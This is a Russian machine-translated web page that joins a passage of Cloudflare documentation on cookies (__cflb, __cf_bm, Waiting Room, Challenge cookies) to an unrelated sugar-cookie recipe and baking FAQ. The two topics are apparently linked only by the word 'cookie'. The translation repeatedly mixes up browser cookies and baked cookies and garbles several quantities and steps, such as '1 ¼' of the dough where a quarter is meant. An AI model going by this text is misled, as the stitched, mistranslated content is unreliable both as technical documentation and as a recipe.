Файл cookie __ cflb позволяет нам возвращать Конечного пользователя к тому же источнику Клиента в течение определенного периода времени (настраивается Клиентом), что, в свою очередь, позволяет источнику Клиента беспрепятственно поддерживать взаимодействие с Конечным пользователем (например, хранение товаров Конечного пользователя в корзине для покупок, пока он продолжает перемещаться по веб-сайту). Этот файл cookie является сеансовым файлом cookie, который длится от нескольких секунд до 24 часов.


* __ cf_bm * cookie для продуктов-ботов Cloudflare

Продукты-боты Cloudflare выявляют и уменьшают автоматизированный трафик для защиты вашего сайта от вредоносных ботов. Cloudflare размещает файл cookie __cf_bm на устройствах конечных пользователей, которые обращаются к сайтам Клиента, защищенным с помощью управления ботами или режима борьбы с ботами. Файл cookie __cf_bm необходим для правильного функционирования этих бот-решений.

Срок действия этого файла cookie истекает через (максимум) 30 минут непрерывного бездействия Конечного пользователя.Файл cookie содержит информацию, относящуюся к вычислению собственной оценки бота Cloudflare, а также идентификатор сеанса, когда в системе управления ботами включено обнаружение аномалий. Информация в файле cookie (кроме информации, связанной со временем) зашифрована и может быть расшифрована только Cloudflare.

Для каждого сайта, который посещает Конечный пользователь, создается отдельный файл cookie __cf_bm, и Cloudflare не отслеживает пользователей с сайта на сайт или от сеанса к сеансу путем объединения различных идентификаторов __cf_bm в профиль.Файл cookie __cf_bm создается Cloudflare независимо и не соответствует ни одному идентификатору пользователя или другим идентификаторам в веб-приложении Заказчика.


* __ cf_ob_info * и * __ cf_use_ob * cookie для Cloudflare Always Online

Файл cookie __ cf_ob_info предоставляет информацию о:

  • Код состояния HTTP, возвращенный исходным веб-сервером,
  • Ray ID исходного сбоя запрос, и
  • Дата-центр, обслуживающий трафик.

Файл cookie __ cf_use_ob информирует Cloudflare о необходимости получения запрошенного ресурса из кеша Always Online на указанном порту. Применимые значения: 0, 80 и 443.


* __ cfwaitingroom * для комнат ожидания Cloudflare

Продукт Cloudflare’s Waiting Room позволяет создать комнату ожидания для конкретного хоста и комбинацию пути в зоне. Посетителей помещают в комнату ожидания и сообщают, когда им будет разрешен доступ к приложению, если они не будут доступны немедленно.

Файл cookie __cfwaitingroom используется только для отслеживания посетителей, которые обращаются к хосту с включенной комнатой ожидания и комбинации пути для зоны. Посетители, использующие браузер, который не принимает файлы cookie, не могут посещать комбинацию хоста и пути, пока активна Зал ожидания. Дополнительные сведения см. В файле cookie зала ожидания.


Дополнительные файлы cookie, используемые платформой Challenge

В таблице ниже показаны дополнительные файлы cookie, используемые платформой Challenge.

Имя файла cookie (XXX представляет динамическую часть)

Описание

cf_clearance

Clearance Cookie, в котором хранится доказательство прохождения проверки.Он больше не используется, чтобы не выдавать капчу или вызов jschallenge, если они есть. Требуется добраться до исходного сервера.

— cf-cc-XXX — cf-chl-cc-XXX — cf-chl-seq-XXX — cf-chl-prog

Эти файлы cookie используются Cloudflare для выполнения задач Javascript или Captcha. Они не используются для отслеживания и не выходят за рамки задачи. Их можно удалить, если они увидят.

CF-CHL-XXXX

Этот файл cookie используется для проверки наличия [сервера Cloudflare Edge] (https: // www.cloudflare.com/en-gb/learning/cdn/glossary/edge-server/) поддерживает файлы cookie. Если его увидят, его можно удалить.

— cf-chl-rc-i — cf-chl-rc-ni

Эти файлы cookie предназначены для внутреннего использования, что позволяет Cloudflare выявлять производственные проблемы на клиентах.


Связанные ресурсы

Вырезанное сахарное печенье — Haniela’s

Вырезанное сахарное печенье популярно круглый год. Любимое дело как детей, так и взрослых, вы не ошибетесь с обычным ванильным печеньем.

PIN IT для более поздних версий

Для сахарного печенья требуется всего несколько ингредиентов, и его очень просто приготовить с нуля. Этот рецепт представляет собой нечто среднее между песочным и сахарным печеньем. Они немного хрустящие снаружи и мягкие внутри.

ВЫРЕЗАТЬ САХАРНОЕ ПЕЧЕНЬЕ

Наслаждайтесь ванильным сахарным печеньем, посыпанным цветным сахаром, радужной посыпкой, украшенным шоколадным кружевом , или используйте Royal Icing , помаду или вашу любимую масляную глазурь .

Когда я только начал делать сахарное печенье, мне очень понравился его бледный вид. Но с годами я полюбил и золотые края. Печенье с золотистыми краями вкусное. Если вы предпочитаете золотистые края, запекайте печенье еще немного.

ИНГРЕДИЕНТЫ

В этом базовом рецепте используются простые ингредиенты. При приготовлении теста для печенья важно, чтобы ингредиенты были комнатной температуры.

  • Несоленое масло
  • Белый сахар-песок
  • Яйцо
  • Можно использовать экстракт ванили и другие экстракты и ароматизаторы.См. Примечания в карточке рецепта.
  • Мука
  • Разрыхлитель (по желанию)
  • Соль
  • Совет: не используйте сахар с необычно крупными кристаллами сахара. У бренда Wegmans есть крупные кристаллы.

МАСЛО

Я использую несоленое масло.

Мне часто задают этот вопрос. Можно ли приготовить вырезанное сахарное печенье из соленого сливочного масла? Короткий ответ — да, конечно, если это все, что у вас есть. Если вы используете соленое масло, вы можете не добавлять соль, указанную в рецепте.

Однако я не могу гарантировать результат. Я знаю людей, которые используют соленое масло, и им нравятся результаты. Однако я не из их числа. Однажды я использовала соленое масло для приготовления сахарного печенья и никогда не использовала его снова.

НЕСОЛЕНОЕ МАСЛО ПРОТИВ СОЛЕННОГО МАСЛА

Так почему это так важно, какое масло вы используете? Приведено основное отличие. В соленом масле есть соль, а в несоленом масле нет соли.

МАСЛО НЕСОЛЕНОЕ

  • Несоленое масло свежее соленого.
  • А поскольку он не содержит соли, вы можете добавлять в рецепт столько же соли, сколько и меньше.

МАСЛО СОЛИНОЕ

  • Содержание соли в соленом масле варьируется от производителя к марке. Это может быть от 600 мг натрия до 920 мг натрия. Это может быть важно, если вы пытаетесь контролировать потребление соли.
  • Соль действует как консервант, поэтому соленое масло имеет более длительный срок хранения, на 3-4 месяца дольше. Поэтому, скорее всего, оно не такое свежее, как несоленое масло.
  • В соленом масле больше воды, чем в несоленом. Хотя при приготовлении пищи это не очень хлопотно, при запекании эта дополнительная вода может привести к нежелательным результатам. Например: из него может получиться слишком липкое тесто или тесто, которое не держит форму.
МАСЛО ДЛЯ КОМНАТНОЙ ТЕМПЕРАТУРЫ

Как и многие другие рецепты печенья, этот рецепт сахарного печенья требует взбивания сливочного масла и сахара комнатной температуры. Почему масло должно быть комнатной температуры?

Когда масло комнатной температуры (около 67F) взбивается с сахаром, кристаллы сахара вдавливаются в масло.Они создают крошечные пузырьки воздуха в масле, делая его воздушным и воздушным. В духовке с помощью тепла и разрыхлителя эти крошечные пузырьки расширяются. Это способствует общей текстуре, легкости печенья, торта и т. Д.

КАК Я МОГУ СКАЗАТЬ, ЧТО МАСЛО НАХОДИТСЯ ПРИ КОМНАТНОЙ ТЕМПЕРАТУРЕ?

Если вы можете согнуть масло так, чтобы оно не сломалось пополам и ваши пальцы полностью не погрузились в масло, можно приступать. Или при нажатии он должен слегка поддаваться, но пальцы не должны полностью погружаться в масло.Это значит, что масло слишком мягкое. Как довести масло до комнатной температуры?

ПОЧЕМУ НЕ СЛЕДУЕТ ИСПОЛЬЗОВАТЬ СЛИШКОМ МЯГКОЕ МАСЛО?

Проще говоря, потому что это сделает тесто для печенья слишком липким, и оно, скорее всего, будет растекаться по поверхности. Или, чтобы уменьшить липкость, добавьте слишком много муки, и тесто станет слишком крутым.

Использование слишком мягкого масла — очень распространенная проблема при приготовлении теста для сахарного печенья. Если вы подозреваете, что масло слишком мягкое, поместите его в холодильник на 10-15 минут, чтобы оно немного застыло.

САХАРНОЕ ПЕЧЕНЬЕ

Взбить сливочное масло комнатной температуры с сахаром, в промежутках несколько раз очистив миску. Взбивайте 3-5 минут, пока не станет однородной сливочной консистенции.

Совет: избегайте использования сахарного песка с очень крупными кристаллами.

Взбейте 1 столовую ложку ванильного экстракта венчиком с одним яйцом комнатной температуры. Затем взбейте яичную смесь со сливочным маслом до однородного состояния, примерно от 30 секунд до минуты. Пока не пушистый.

Просейте муку, соль и разрыхлитель (если используете — читайте примечания в рецепте).

На низкой скорости за 3 добавления взбить смесь муки и сливочно-сливочную смесь. Взбивайте, пока вся мука не впитается и хорошо не перемешается. На этом этапе тесто для печенья будет кусками.

Вычистите все тесто в миску, посыпанную 1-2 столовыми ложками муки.

Соберите тесто и осторожно месите его в течение 10-20 секунд. Сформируйте из него диск и заверните в полиэтиленовую пленку.
Поставить в холодильник на 4 часа или на ночь. Я предпочитаю дать тесту для печенья хорошо отдохнуть перед тем, как вырезать и выпекать печенье.

Что делать, если у меня нет 4 часов, чтобы заморозить тесто для печенья?

  • Вы можете ускорить охлаждение теста для печенья в морозильной камере в течение одного часа.
  • Или вы можете раскатать тесто для печенья между 2 листами пергамента. Выложите его на противень или в лоток для морозильной камеры. Поместите поднос в морозильную камеру на 20 минут.

КАК ДОЛГО Я МОГУ ХРАНИТЬ ТЕСТО В ХОЛОДИЛЬНИКЕ?

Тесто для печенья можно хранить в холодильнике до 3 дней.После этого вы можете либо приготовить печенье, либо заморозить тесто для печенья на потом. До 3 месяцев.

КОВРИКИ НА РОЛИКЕ

Чтобы избежать чрезмерного использования муки и для облегчения раскатывания, я предпочитаю использовать систему раскатки теста EZ . Я использую его несколько лет, и он стал одним из моих любимых кухонных принадлежностей.

Я использую его для раскатки теста для печенья, дрожжевого теста и даже помадки. И вы можете видеть, как я использую его во многих своих видео. Он поставляется с направляющими для раскатывания, которые также пригодятся при раскатывании теста для печенья.

До того, как у меня появилась система Dough EZ System, я раскатывал тесто для печенья между:

  • 2 листка пергаментной бумаги.
  • Или вы также можете использовать 2 силиконовых коврика для выпечки.

ШТИФТЫ

Я перепробовал множество скалок, и вот два моих любимых. Пользуюсь ими уже несколько лет.

  • Белая силиконовая скалка (20 дюймов)
  • Предназначена для работы с помадкой, но также отлично работает с тестом для печенья и дрожжевым тестом.И мне это очень нравится.
  • Скалка Joseph Joseph Wood (я использую эту скалку без направляющих, я предпочитаю стержни направляющих качения)
  • Эта скалка популярна среди пекарей, поскольку она имеет встроенную систему направляющих качения и поставляется с набором из 4-х направляющих / дисков качения.
  • На каждом конце скалки есть винт, и диски могут быть закреплены на концах, обеспечивая желаемую толщину вашего печенья.
  • Нет необходимости в направляющих стержнях и т. Д.
  • Чтобы деревянная скалка оставалась в отличном состоянии, время от времени я обрабатываю ее минеральным маслом пищевого качества.
  • Минеральное масло также отлично подходит для мясных блоков, деревянной посуды и разделочных досок.

НАПРАВЛЯЮЩИЕ

Для ровной толщины печенья я использую роликовые направляющие.

Doug EZ Mat : Этот большой силиконовый коврик поставляется с набором из 3 направляющих качения.

Неиспользованные карандаши для краски : Их толщина может варьироваться от магазина к магазину.Это были первые направляющие качения, которые я когда-либо использовал. Я склеил 2 из них, чтобы получить желаемую толщину. Я использую их много лет, и они у меня до сих пор есть, и я использую их время от времени.

Прутья из необработанной древесины : Их можно найти в секции пиломатериалов вашего строительного магазина. Они бывают разных размеров, поэтому вы можете выбрать нужный. Деревянные прутки, изображенные выше, имеют толщину ¼ (0,64 см)

Силикон Роликовые направляющие : Выпускается серийно для пекарей.

Толстые бамбуковые шпажки : Некоторые бамбуковые шпажки достаточно толстые, чтобы их можно было перекатывать.

КАК ВЫКАТИТЬ ТЕСТО ДЛЯ ПЕЧЕНЬЯ

Тесто для печенья помещается между 2 направляющими качения, а затем скалка раскатывается поверх направляющих. Скалка толкает тесто вниз, но только настолько, насколько это позволяют направляющие. Обеспечение равномерной толщины раскатанного теста для печенья.

НАСКОЛЬКО ВЫ ДЕЛАЕТЕ ПЕЧЕНЬЕ ДЛЯ УКРАШЕНИЯ?

Я раскатываю печенье на ¼ дюйма (0.64 см (чуть более 6 мм) и немного толще при приготовлении печенья, чтобы освободить место для леденца.

МОЙ ТЕСТО ДЛЯ ПЕЧЕНЬЯ ТВЕРДЫЙ КАК КАМЕНЬ, ЧТО ДЕЛАТЬ СЕЙЧАС?

После охлаждения тесто для печенья часто становится твердым.

  • Не нужно паниковать.
  • Разрежьте тесто для печенья на четвертинки.
  • Разогрейте в микроволновке 1 ¼ теста для печенья на высокой скорости 5-7 секунд. Этого должно хватить, чтобы тесто размягчилось и его можно было раскатывать.Однако вы не хотите, чтобы он был сверхмягким.
  • Разрежьте оставшиеся четвертинки на более мелкие части.

Поместите 1/4 размягченного / приготовленного в микроволновке теста для печенья на рабочую поверхность между 2 роликами. Поместите скалку поверх направляющих, раскатайте тесто для печенья. Вы можете посмотреть видео, чтобы узнать, как легко развернуть часть.

Вырежьте печенье формочкой и переложите на противень, застеленный пергаментной бумагой.

Могу ли я перевернуть обрезки?

Соберите обрезки и добавьте один кусок свежего теста, который вы отложили, перекатайте и повторите.

КАКИЕ ПРОФИЛИ ВЫ ИСПОЛЬЗУЕТЕ?

Мне нравится использовать светлые противни. Темные противни часто вызывают быстрое подрумянивание печенья. И я предпочитаю использовать пергаментную бумагу, а не силиконовые противни для выпечки вырезанного печенья.

Охладите печенье в течение 10 минут.

ВЫРЕЗАТЬ ПЕЧЕНЬЕ СОВЕТЫ ДЛЯ ВЫПЕЧКИ И УСТРАНЕНИЕ НЕПОЛАДОК

Я выпекаю печенье при температуре 375–380 ° F (для больших печений, более 4 дюймов) в течение 9–11 минут.Печенье получается мягким, когда оно выходит из духовки. Не открывайте духовку более одного раза, чтобы перевернуть лист на полпути. Если ваша духовка выпекает равномерно, вы можете пропустить этап вращения.

КАК Я МОГУ СКАЗАТЬ, ЧТО ПРИГОТОВЛЕНО ПЕЧЕНЬЕ?

Выпекайте печенье большего размера на одном противне, а меньшее — на другом. Не кладите печенье на противень.

Выпекайте печенье до тех пор, пока его центр не станет пухлым или пока не станет золотисто-коричневого цвета по краям, если вы предпочитаете такое печенье.

Когда печенье запекается, центр должен казаться пухлым и больше не блестеть. Если середина печенья все еще блестящая, запекайте еще 2 минуты и проверьте еще раз.

МОИ ПЕЧЕНЬЕ ИМЕЮТ ПУЗЫРЬКИ НА ПОВЕРХНОСТИ

Иногда, когда тесто для печенья перегружено, на поверхности печенья могут образовываться пузыри. Возьмите плоскую лопатку для печенья и аккуратно надавите на верхушки горячего печенья. Это сгладит пузыри.

Дайте печенье остыть на противне в течение 5-7 минут, затем осторожно переложите печенье на решетку для охлаждения.Обязательно дайте печенью остыть перед тем, как украсить королевской глазурью.

КАК Я МОГУ ПРИКОСНОВАТЬ САХАРНОЕ ПЕЧЕНЬЕ?

Для ароматизации теста для печенья я использую экстракты, ароматизаторы или эмульсии для выпечки.

Ни для кого не секрет, что ваниль улучшает вкус. Вот почему я всегда использую экстракт ванили в качестве основного ароматизатора. После этого можно добавить другие ароматизаторы.

Я также люблю добавлять экстракты миндаля и / или лимона. И я должен сказать, что мне очень понравилось это волшебное трио: Ваниль (1 чайная ложка), Миндаль (от 1/2 до 1 чайной ложки) и Лимон (1/2 чайной ложки) .Это дает прекрасный вкус.

При использовании ароматизаторов на основе масла Лоранн используйте всего 5-7 капель. Они очень сконцентрированы.

Цедра апельсина и лимона

Если вы используете цедру лимона или апельсина, добавьте 1 столовую ложку на рецепт.

СПЕЦИИ

Да, можно использовать специи. Корица или кардамон. Sweet Ambs делает тесто для печенья из апельсина и кардамона.

УКРАШЕНИЕ ДЛЯ ПЕЧЕНЬЯ БЕЗ КОРОЛЕВСКОГО ГРИЛЬ

Если вы торопитесь и у вас нет времени украсить печенье глазурью, вы все равно можете выделить их из толпы с помощью простых инструментов.

ИНСТРУМЕНТЫ ДЛЯ ОТПЕЧАТЛЕНИЯ

При использовании оттискных инструментов убедитесь, что в рецепте не используется разрыхлитель. Это даст лучшие результаты без.

ДЕКОРАТИВНЫЕ СИЛИКОНОВЫЕ КОВРИКИ

Я использовал силиконовый коврик SugarVeil Mat.

ШТАМПОВКА НА ПЕЧЕНЬЯХ

Используйте набор Letter Impression для добавления персонализированных или сезонных сообщений в файлы cookie.

ПОЛИВ

Украсить печенье праздничной посыпкой. Смочите их небольшим количеством воды из небольшого пульверизатора.Затем посыпать печенье декоративной посыпкой и выпекать в обычном режиме. Вода заставляет посыпку лучше прилипать к тесту для печенья.

ДЛЯ ИЗГОТОВЛЕНИЯ САХАРНОГО ПЕЧЕНЬЯ

САХАРНОЕ ПЕЧЕНЬЕ FAQ

По этому рецепту приготовьте вырезанное печенье. Этот великолепный рецепт печенья для дегустации отлично подойдет или украшен королевской глазурью / глазурью из шоколада или помадки. Это нечто среднее между сахарным и песочным печеньем.

Сделайте 15, 3 дюйма печенья, толщиной 1/4 дюйма.

Курс: Десерт

Кухня: Американец

Ключевое слово: печенье, вырезанное печенье, сахарное печенье

Порций: 15

Калорийность: 270 ккал

Hanielas.com: Хани Бакова

САХАРНОЕ ПЕЧЕНЬЕ

  • 3 чашки мука общего назначения 430 грамм
  • 1/2 чайная ложка поваренная соль
  • 2 палки несоленое масло комнатной температуры 1 чашка, 226грамм
  • 1 чашка гранулированый сахар 200 грамм
  • 1 большое яйцо комнатная температура
  • 1 столовая ложка Экстракт ванили
  • 1 чайная ложка порошок для выпечки необязательно — проверьте заметки
  • 1/2 чайная ложка Экстракт миндаля (по желанию)
  • 1/2 чайная ложка Экстракт лимона (по желанию)

Сухие ингредиенты

  1. Муку просеять (3 чашки / 430 граммов), разрыхлитель (1 чайная ложка) добавить соль (1/2 чайной ложки), отставить.

    СОВЕТ: Если вы испытываете чрезмерное растекание, используйте 1/4 чайной ложки разрыхлителя или не используйте разрыхлитель.

Сливочное масло и сахар

  1. В миске смешайте сливочное масло комнатной температуры (1 стакан / 226 грамм) и сахар (1 стакан / 200 грамм), около 5 минут, очистите емкость дважды. Масло сливочное, взбитое с сахаром, должно быть светлого кремового цвета.

  2. В небольшой посуде взбейте яйцо (1) и ванильный экстракт (1 столовая ложка).Если вы используете, добавьте миндаль (1/2 чайной ложки) и лимонный экстракт (1/2 чайной ложки), отложите.

  3. Постепенно добавить яичную смесь в масляную смесь. Взбивать хорошо, до смешивания около минуты.

  4. Уменьшите скорость миксера до минимума. Постепенно в 3 прибавления всыпать мучную смесь. Хорошо поскребите миску после последнего добавления и взбивайте на низкой скорости, пока мука не смешается. На этом этапе вы увидите кусочки теста для печенья.

  5. Посыпьте большую миску 1 столовой ложкой муки.Выложите тесто для печенья в миску. Соберите тесто. Замесите тесто для печенья руками примерно 10-20 секунд, пока тесто не сойдет. Сформируйте диск.

    СОВЕТ: Если тесто слишком влажное, добавьте 1-2 столовые ложки муки.

  6. Оберните тесто полиэтиленовой пленкой и поставьте в холодильник на ночь или минимум на 4 часа. Или ускорьте процесс, поместив его в морозилку на 30 минут или час.

  7. Если вы обнаружите, что тесто твердое, как камень, не паникуйте.Разделите тесто на четвертинки. Возьмите один кусок и поставьте в микроволновую печь на 5-8 секунд, чтобы он немного смягчился. Он не должен быть очень мягким, просто достаточно мягким, чтобы его можно было раскатывать, вам все равно нужно будет немного надавить.

    Разрезать оставшееся тесто на более мелкие кусочки, отложить. Поместите обработанный в микроволновой печи кусок между направляющими для катания, либо между 2 кусками пергамента, либо, если у вас есть большой силиконовый коврик, вы также можете его использовать (для направляющих вы можете использовать 2 малярные палочки, склеенные с каждой стороны, или 2 куска 1/4 дюйма деревянные стержни тоже отлично подойдут).

  8. Вырежьте как можно больше печенья. Соберите обрезки и добавьте к ним свежий кусок нарезанного теста для печенья, который вы отложили. Переверните и повторяйте, пока не закончите со всеми печеньями. Выложите печенье на светлый противень, застеленный пергаментной бумагой. Охладите вырезки в холодильнике около 10 минут или в морозильной камере 5.

Выпечка

  1. Выпекать 10-11 минут, в зависимости от духовки, перевернуть противень один раз в середине выпекания.

  2. Дать печенье остыть на противне 5-7 минут, переложить на решетку для охлаждения.

  3. Хранить в герметичном контейнере до 2 недель или заморозить печенье без украшений между кусками вощеной бумаги в большом контейнере, безопасном для замораживания, на срок до 3 месяцев.

  4. Украсьте печенье по своему желанию королевской глазурью или другим используемым вами средством.

Что делать, если у меня нет 4 часов, чтобы заморозить тесто для печенья?

КАК ДОЛГО ХРАНИТЬ ТЕСТО В ХОЛОДИЛЬНИКЕ?

  • Тесто для печенья можно хранить в холодильнике до 3 дней.После этого вы можете либо приготовить печенье, либо заморозить тесто для печенья на потом. До 3 месяцев.

КАК ТОЛСТЫЕ ПЕЧЕНЬЕ ВЫКАТАЕТЕ ДЛЯ УКРАШЕНИЯ

толщиной 1/4 дюйма и немного толще при приготовлении печенья.

МОГУ ЛИ Я ИСПОЛЬЗОВАТЬ ТЕСТО ДЛЯ ПЕЧЕНЬЯ С ТЕКСТУРНЫМИ КОВРИКАМИ?

Да, не добавляйте разрыхлитель в тесто для печенья для достижения наилучших результатов. (образцы печенья с текстурированным рисунком вверху см. в сообщении в блоге)

У МЕНЯ НЕТ ГРАНУЛИРОВАННОГО САХА, МОГУ ЛИ Я ИСПОЛЬЗОВАТЬ САХАР в порошке?

Конечно, вы можете использовать сахарную пудру, используйте примерно 1 стакан 1/4 стакана сахарной пудры.Печенье из сахарной пудры имеет нежную крошку.

Я ОХЛАЖДЕННОЕ ТЕСТО ДЛЯ ПЕЧЕНЬЯ, НО ТЕПЕРЬ ТЯЖЕЛО, КАК КАМЕНЬ

После охлаждения тесто для печенья часто становится твердым.

  • Не нужно паниковать.
  • Диск теста для печенья разрезать на четвертинки.
  • Разогрейте в микроволновке 1 ¼ теста для печенья в течение 5-7 секунд. Этого должно хватить, чтобы тесто размягчилось и его можно было раскатывать. Однако вы не хотите, чтобы он был сверхмягким.
  • Разрежьте оставшиеся четвертинки на более мелкие части.
  • Поместите размягченную / приготовленную в микроволновой печи 1/4 теста для печенья на рабочую поверхность между 2 роликами. Положите скалку на направляющие и раскатайте тесто для печенья. Вырежьте печенье и переложите его на светлый противень, застеленный пергаментной бумагой.
  • Соберите обрезки и добавьте один кусок охлажденного теста, который вы отложили, перекатайте и повторите.

УСТРАНЕНИЕ НЕПОЛАДОК

  • Если вы испытываете противоречивые результаты, откажитесь от разрыхлителя или используйте его меньше и увеличьте температуру до 380F, если вы использовали 375F раньше.
  • Если после украшения печенье становится мягким, это обычно происходит из-за повышенной влажности. Я бы посоветовал вам запекать печенье немного дольше, чтобы оно было более хрустящим. И вы также можете использовать осушитель воздуха, пока глазурь на печенье сохнет.
  • Как определить, испечено ли печенье: у печенья припекшаяся середина. Если вы видите влажное и блестящее пятно, обычно в центре печенья, продолжайте выпекать еще минуту или 2.
  • Печенье с более темным пятном в центре на нижней стороне, скорее всего, не выпеченное.

АРОМАТЫ

Печенье с цедрой лимона и апельсина — используйте 1 столовую ложку свежей лимонной цедры, 1 чайную ложку ванили и 1 чайную ложку экстракта лимона

Печенье с шоколадной крошкой — стакана сахарного песка, ¾ стакана коричневого сахара, микрошоколадные крошки (добавьте их с мукой), 1/4 чайной ложки разрыхлителя

Миндальное сахарное печенье — добавьте 1 чайную ложку ванили и 1 чайную ложку миндального экстракта. Я считаю, что миндальный вкус очень сильный, и 1 чайная ложка помогает мне, но если вы хотите добавить еще больше экстракта, вы определенно можете.Миндальное печенье отлично сочетается с моей королевской глазурью Fresh Lemon Royal.

Специи — вы также можете добавить в этот рецепт специи, попробовать корицу, кардамон или тыквенные специи, чтобы сделать их более сезонными.

КАК ПРЕДОТВРАТИТЬ СЛИШКОМ ОБЩЕЕ РАСПРОСТРАНЕНИЕ печенья?

При замешивании теста используйте масло комнатной температуры. Если масло слишком мягкое, ваше тесто будет мягче обычного. Я часто испытывал намазывание, когда использовал очень мягкое масло.

Тщательно охладите тесто перед тем, как вырезать формы. Учтите, что тесто не должно быть очень мягким. Вырезав фигурки, положите их на прохладный противень, застеленный пергаментной бумагой.

Не кладите невыпеченное печенье на теплый противень. Постарайтесь не перегружать противень. Перенести противень с вырезанным печеньем в холодильник и охладить 10 минут или заморозить 5 минут.

Вы также можете попробовать отказаться от разрыхлителя или использовать меньшее количество.

ВЫПЕЧКА

Выпекайте печенье до тех пор, пока его центр не поднимется, или до золотисто-коричневого цвета по краям, если вы предпочитаете такое печенье. Я выпекаю печенье при температуре 375 — 380F (193C) в течение 9-11 минут. Печенье получается мягким, когда выходит из духовки. Не открывайте духовку более одного раза, чтобы перевернуть лист. Если ваша духовка выпекает равномерно, вы можете пропустить этот шаг. Дайте печенье остыть на противне в течение 5-7 минут, затем аккуратно переложите печенье на решетку для охлаждения.

МОЖНО ЛИ ИЗГОТОВИТЬ ПЕЧЕНЬЕ БЫСТРЕЕ?

Из сахарной пудры получается печенье с более мягкой нежной крошкой.В этом рецепте вы можете использовать 1 1/4 стакана сахарной пудры вместо сахарного песка. Или замените 2 столовые ложки универсальной муки на 2 столовых ложки кукурузного крахмала, посмотрите, достаточно ли этого на ваш вкус.

У ВАС ЕСТЬ РЕЦЕПТ ПЕЧЕНЬЯ БЕЗ ЯЙЦА И МАСЛА?

Да. Вот мой восхитительный рецепт веганского сахарного печенья.

МНЕ НРАВИТСЯ МЯГКОЕ САХАРНОЕ ПЕЧЕНЬЕ. У ВАС ЕСТЬ РЕЦЕПТ МЯГКОГО ПЕЧЕНЬЯ?

Мне нравится этот рецепт вырезанного мягкого сахарного печенья. Вы также можете попробовать этот сезонный вариант мягкого тыквенного печенья.Оба рецепта включают рецепт восхитительной масляной глазури.

МОГУ ЛИ Я ПОЛУЧИТЬ РЕЦЕПТ ПЕЧЕНЬЯ БЕЗ ГЛЮТЕНА?

Этот рецепт сахарного печенья без глютена действительно восхитителен.

КАК ПРИГОТОВИТЬ РЕЦЕПТ ПЕЧЕНЬЯ БЕЗ ВЕГАНА И ГЛЮТЕНА?

Один из читателей приготовил GF и веганское печенье, используя мой рецепт веганского сахарного печенья с мукой Pamela’s Artisan GF.

Кристина сказала: « Большое спасибо! У меня есть семья и друзья, которые не придерживаются глютена и являются веганами, и всегда боролись с правильным рецептом сахарного печенья GF-V.Многие, я уверен, отлично сочетаются с продуктами, предлагаемыми по другим рецептам, но не все веганские продукты доступны повсеместно. У меня было так много разочаровывающих печенек GF-V.

Я только что приготовил этот рецепт, используя муку Artisan GF от Памелы, и мне очень понравилось, как тесто держится — совсем не липкое! Используя соответствующее видео, я смог решить, как и в случае с любым другим рецептом сахарного печенья, нужно ли добавлять немного больше муки, чтобы получить правильную консистенцию. Печенье уже из духовки и та да !! Никакого распространения тоже! «

СКОЛЬКО ДЕЙСТВУЕТ САХАРНОЕ ПЕЧЕНЬЕ?

Запеченное печенье храните в герметичном контейнере на срок до 2–3 недель, при правильном хранении, в герметичном контейнере или в герметичном контейнере.

МОГУ ЛИ Я ПРОДЛИТЬ СРОК ГОДНОСТИ ПЕЧЕНЬЯ?

Вы можете добавить 1 столовую ложку пищевого глицерина, меда или нектара агавы на партию. Все 3 гигроскопичны и впитывают влагу из воздуха, дольше сохраняя влажность печенья. При правильной упаковке куки хранятся до 4 недель.

МОЖНО ЛИ ЗАМОРОЗИТЬ ТЕСТО ДЛЯ ПЕЧЕНЬЯ?

Вы можете заморозить хорошо завернутое тесто для печенья на срок до 3 месяцев. Дайте разморозиться в холодильнике на ночь.

КАК ЗАМОРОЗИТЬ ЗАПЕЧЕННОЕ ПЕЧЕНЬЕ С САХАРОМ?

Как заморозить сахарное печенье .Разморозьте печенье в емкости и украсьте по желанию.

МОЖНО ЛИ ЭТИ ПЕЧЕНЬЕ БЫТЬ ЗАМОРОЖЕННЫМ ПОСЛЕ ВЫПЕЧКИ, ЗАТЕМ ОТЛИЧАТЬ И УКРАШИВАТЬ?

абсолютно. Я делаю это все время. Вот краткое руководство о том, как заморозить файлы cookie.

КАК ЗАМОРОЗИТЬ НЕПЕЧЕННОЕ ПЕЧЕНЬЕ?

Чтобы заморозить невыпеченное печенье, заморозьте вырезанное печенье на плоском противне в один слой. Затем положите замороженное печенье в контейнер для заморозки между листами вощеной бумаги или пергамента. Когда все будет готово, выложите замороженное печенье на подготовленный противень, застеленный пергаментом.Дать постоять при комнатной температуре 10 минут и выпекать в обычном режиме.

КАКОЕ ГЛОДЕ ВЫ ИСПОЛЬЗУЕТЕ ДЛЯ УКРАШЕНИЯ САХАРНОГО ПЕЧЕНЬЯ?

Я использую Royal Icing для украшения печенья.

ЕСТЬ ЛИ У ВАС МЯГКОЕ МОРОЗИЛЬНОЕ МАСЛО, КОТОРОЕ Я МОГУ ИСПОЛЬЗОВАТЬ ДЛЯ УКРАШЕНИЯ ПЕЧЕНЬЯ?

Мне нравится эта глазурь из сливочного крема, а если вы ищете что-то с более сезонным вкусом, вы можете попробовать вкусную глазурь из кленового масла /

КАК ХРАНИТЬ УКРАШЕННОЕ ПЕЧЕНЬЕ?

В зависимости от того, дарите ли вы их в подарок или оставляете себе.Если вы хотите преподнести их в качестве услуги, я бы порекомендовал вам упаковать файлы cookie. Либо используйте ручной термосварщик, либо, если у вас его нет, вы можете упаковать их в прозрачные пакеты и плотно завязать их лентой.

Храните упакованное печенье в картонной коробке вдали от прямых солнечных лучей. Если вы делаете это для своей семьи, чтобы насладиться им на праздниках, храните печенье в герметичном контейнере, сложенном между кусочками вощеной бумаги.

КАКИЕ ЯЩИКИ ИСПОЛЬЗОВАТЬ ДЛЯ УПАКОВКИ / ОТОБРАЖЕНИЯ файлов cookie?

Лично пользуюсь ящиками с www.brpboxshop.com, они продают свои коробки оптом, по 100 штук, и они мне очень нравятся. Мне очень нравятся их коричневые коробки. Коробки 10 ″ x7 ″ x1 ″, крышка и дно продаются отдельно. Если вы не уверены, что к чему, обязательно позвоните. Люди в brpboxshop очень дружелюбны, всегда готовы помочь.

Если вам не нужны 100 коробок, вы можете попробовать нашвиллские упаковки. Эти коробки для печенья продаются в наборе по 50 штук.

Вы можете использовать формы для печенья, которые доступны по сниженным ценам во время праздников, или посетить местную пекарню.Спросите, готовы ли они продать вам пару своих коробок за небольшую плату.
Ремесленные магазины также продают небольшие ящики для выпечки. Вы также можете использовать выносные контейнеры и банки для меньших файлов cookie.

PIN IT для более поздних версий

Эта обновленная версия рецепта, первоначально опубликованная в 2013 году, включает часто задаваемые вопросы о сахарных файлах cookie, а также другие советы и приемы, которые я усвоил за эти годы.

